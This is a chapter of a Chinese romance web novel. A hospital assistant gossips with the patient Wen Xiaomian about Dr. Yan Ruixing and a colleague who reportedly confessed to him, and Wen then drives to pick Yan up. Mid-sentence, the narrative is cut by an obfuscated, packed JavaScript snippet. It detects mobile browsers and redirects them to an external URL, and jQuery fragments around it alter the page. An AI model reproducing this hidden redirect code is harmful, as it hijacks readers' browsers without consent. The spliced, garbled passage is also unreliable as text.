挂断电话,闻萧眠将药塞回抽屉。闫芮醒恰好洗完澡,穿灰米白色家居服,头发还湿着。
闻萧眠拎了条加厚浴袍,板着张恶臭的脸,将闫芮醒裹得严严实实:“抽什么疯呢?想感冒吗?”
实际上,闫芮醒都这么穿三天了:“你又抽什么疯呢?”
“关你屁事。”闻萧眠使劲给他擦脑袋,跟抛光打磨似的,“先管好你自己吧!”
闫芮醒脑袋被“打磨”得乱晃。
谁惹他了?
人裹成粽子,闻萧眠盯着他吹干头发才放弃“打磨”,主动回卧室,躺到了地铺上。
“去床上睡。”闫芮醒从他怀里扯自己被子。
闻萧眠把床上的被子抱下来,再舒舒服服躺地板:“躺你的破床,还不如睡地板。”
“……神经。”闫芮醒关灯,并叮嘱,“不舒服说话。”
“嗯。”
“明天复诊。”
“好的。”
闫芮醒:“不能迟到。”
闻萧眠:“知道啦,晚安。”
闻萧眠听话又善解人意,闫芮醒怀疑他被夺舍,否则就是巨大阴谋。
一夜安眠,闻萧眠依旧不产生动静,可闫芮醒每三小时就要醒来一次,看看地上的人。
次日的复诊十分顺利,闻萧眠做完检查,去地下一层的贩卖机买汽水,转头见胡晓娜正窝角落里啃鸡爪,嘴里叽里咕噜的,八成又在说坏话。
闻萧眠顺手多买了瓶可乐,递给她:“怎么还不走?”
胡晓娜咕咚咕咚,灌够了才说:“闫老师没下班,牛马马不敢轻举妄动。”
“又犯错了?”
胡晓娜吸吸鼻子,拿袖口一蹭:“我昨天给闫老师放号,手一抖,搞出了六十个。”
“应该几个?”
“三十。”
闻萧眠:“…………”
怪不得闫芮醒今天起那么早,出门前脸跟自带乌云特效似的。
胡晓娜叹了一口哀怨凄凉的气:“由此可见,我和工作八字不合,这辈子就不配吃上班的苦。”
“年轻不多吃苦,老了怎么习惯。”
胡晓娜吐掉鸡骨头:“可我找大师算过了,他说我天生就不是打工的料。”
闻萧眠说:“那你擅长什么?”
“吃算吗?”说着,胡晓娜掏出个鸡爪,递给闻萧眠,“你吃吗?”
“……我不擅长这个。”
“哦,那好吧。”胡晓娜揣鸡爪回兜,留着自己享用,“帅哥你怎么还不走?”
闻萧眠晃晃可乐:“等人。”
“噢!”胡晓娜眯眯眼,看破不说破,“帅哥,我能问个事吗?”
闻萧眠转头,等他说。
“你和闫老师什么关系呀?”
“我说了你就信吗?”
胡晓娜胸腔的八卦之血汹涌沸腾:“前段时间的玫瑰花是你送的吧?”
“他告诉你的?”
闫芮醒绝不会告诉她这些,胡晓娜啃着鸡爪,挺起胸脯:“当然是靠我的聪明才智分析出来的。”
锦旗红包大玫瑰花,上门追求死缠烂打,都跟他俩聊得对上了,除了他,找不出第二个神经病!
“帅哥,你干嘛用这种方式追闫老师呀?”
闻萧眠听乐了:“谁跟你说我追他的?”
胡晓娜:“……哦,是嘛。”
不追送他玫瑰花?不追等他下班?不追口口声声说怀了闫老师的娃?
胡晓娜给足恋爱脑面子,没揭穿他:“那你弄的这些,花不了少钱吧?”
“忘了。”
胡晓娜:“…………”
敢这么说的人,不是真有钱就是爱吹大牛。如果他有钱,就能买玫瑰花,如果没钱,他也可以借钱买玫瑰花。
“帅哥,你是干什么的?”
“给你老师当保姆。”
“啊?”
“住他家地板,兢兢业业服侍他。”
“…………哦。”
胡晓娜的头脑在风暴,有人正榨干她的智慧,并疯狂生成选择题。
已知,帅哥患有四级听神经瘤,坚信自己怀了闫老师的孩子,给闫老师送花、送锦旗、送宝宝巴士svip卡,又说自己住在闫老师家服侍他,闫老师曾要求他看精神科。请问,帅哥的真实情况是?
A.帅哥真的怀了孩子。
B.帅哥真住闫老师家。
C.帅哥脑子真不太好。
D.听神经瘤压迫神经,导致帅哥出现幻觉,实则是他暗恋闫老师还死鸭子嘴硬。同时,他很有可能因病症困扰,压抑对闫老师的感情!
三短一长选最长,没错,这题选D!!!
像他这种恋爱脑,能养活十个僵尸家族。
胡晓蕊转头看恋爱脑,不免担心:“那你花了这么多钱,手术费还够吗?”
闻萧眠胡扯:“借钱贷款慢慢还呗。”
想想他的病、他的债、他这张帅到掉渣的脸,胡晓蕊更怜爱了:“帅哥,你听说过水滴筹吗?”
“什么?”
胡晓娜简单解释,就是患者把自己的病情发布到平台,就能得到好心人的捐款。
说完胡晓娜还鼓励他:“你长得这么帅,贴张正面照,捐款的人肯定少不了。”
“算了吧。”闻萧眠说,“机会该留给更伟大的英雄。”
胡晓娜心说都这时候了,就别死要面子活受罪了,又给他出了个主意:“要不你去试试擦边主播?”
闻萧眠:“…………”
“别不好意思,赚钱不丢人。”胡晓娜边劝说边怂恿,“你这也算回馈大众。”
“我很保守的,要为爱情守身如玉。”
“妈妈耶帅哥,你真是人穷志不穷,为爱守身到白头!!!”胡晓蕊递来自己的手机,“二维码加一下。”
“又干什么?”
“哎呀你别管了,先加一下嘛!”
互加完好友,闻萧眠手机收到胡晓蕊的名字,还有一个红包。
怕他不收,胡晓娜特意说:“别跟我客气啦,虽然我每天当牛马马,实个破习半个钢镚没有,但至少没贷款,怎么都比你强。”
闻萧眠的表情逐渐扭曲:“......你这是,劫富济贫?”
“英雄不问缘由,从今天起就是兄弟!”胡晓蕊夺过来手机,领完红包又还给他:“你收下就是啦。”
闻萧眠看屏幕上的六块钱红包,听胡晓娜在他身边豪言壮语:“你都这么苦了,我哪能让人你请我喝两次可乐,钱还给你呀!”
“……那你还真是、大方。”
“小事小事,这不算什……”话到一半,胡晓娜愣住,眼珠差点瞪
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317357|198978||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出来,“我去!什么情况?”
顺着胡晓娜的视线,不远处是换下白大褂的闫芮醒,他身边还站着个男人。
闻萧眠一眼认出,是看动物“片”那晚,给闫芮醒打电话,还拍过他肩膀的眼镜男。
两人有说有笑,随后,闫芮醒上了眼镜男的车。
闻萧眠盯着车头:“那男的谁?”
“神外副主任陈文。”
“他俩很熟?”
“当然啦,耳颅底是神外的分支,很多手术都有交叉的。”胡晓娜悄悄透露,“据说,闫老师和陈主任来省院前就认识了。”
胡晓娜的嘴开了个大瓢,可劲儿往外冒瓜:“据超级无敌可靠消息,陈老师前段时间向闫老师表白啦。”
闻萧眠拧开瓶可乐,并不算意外:“那男的多大?”
“三十七。”
“这么老?”
“还好啦,这个年龄在医疗圈算年轻的了。”胡晓娜说。
闻萧眠顺便问:“他人怎么样?”
胡晓娜并未吝啬夸赞,在省院,陈主任是出了名的温润,三十多岁就评上了副主任医师,能力性格都没得挑。
客观角度来看,就闫芮醒那臭脾气,是该找个能受气的。
“可惜又老又穷。”闻萧眠远远盯着两人,撇撇闻了馊饭似的嘴角,“没眼光。”
“陈主任才不穷呢。”
胡晓娜搜刮自己的八卦库,一件一件往外抖。陈主任的房子是医院送的,有三室两厅,一百五十多平呢。车补饭补全都有,住房公积金和社保都按满格交付。
胡晓娜边说眼珠边亮,再夸一会儿,就能闪成演唱会大灯。
现在,闻萧眠不仅闻到了馊饭,还被迫吞了一口:“哦,那他比我想象中还穷。”
胡晓蕊瞅瞅领了他六块钱红包,还嫌弃年薪百万穷的男人。
哎,男人的面子真是比乾隆的尿壶还值钱。要不是看你长得帅,高低得跟你对战。
哎哎,虽然陈主任不错,但看脸,还是这帅哥绝,再配上闫医生那张清冷绝美的脸。
呜。
心跳好快,BGM高涨。
糟糕,是嗑CP的信号!
闫芮醒和陈文离得很远,远到听不清对话,也看不到表情,手环却一直提醒闻萧眠,闫芮醒很开心,激动且高兴。
前天楼下私会,今天就坐车里了。
呵,进度挺快。
闻萧眠起身,往反方向去。
“诶?帅哥你不等闫老师了?”
闻萧眠双手插兜,他都有人送了,我还等什么。
上车前,闻萧眠买了盒烟抽,明明已经用袖子遮挡了,愉悦感还在敲击手腕皮肤。忍无可忍,闻萧眠塞了团纸,彻底盖住。
不到一分钟,手机有来电。
闻萧眠看了眼来电显示:“有事?”
“你把手环拆了?”
“哪敢。”
“你调调位置,我收不到心率了。”
闻萧眠没好气,抽走手环上的纸:“知道了,没事挂了。”
“门诊楼,过来接我。”
“去坐别人的车。”
“现在过来,我只等五分钟。”
说罢,闫芮醒掐断电话。
闻萧眠猛踩油门,驶向门诊楼:“除了我,谁受得了你的臭脾气!”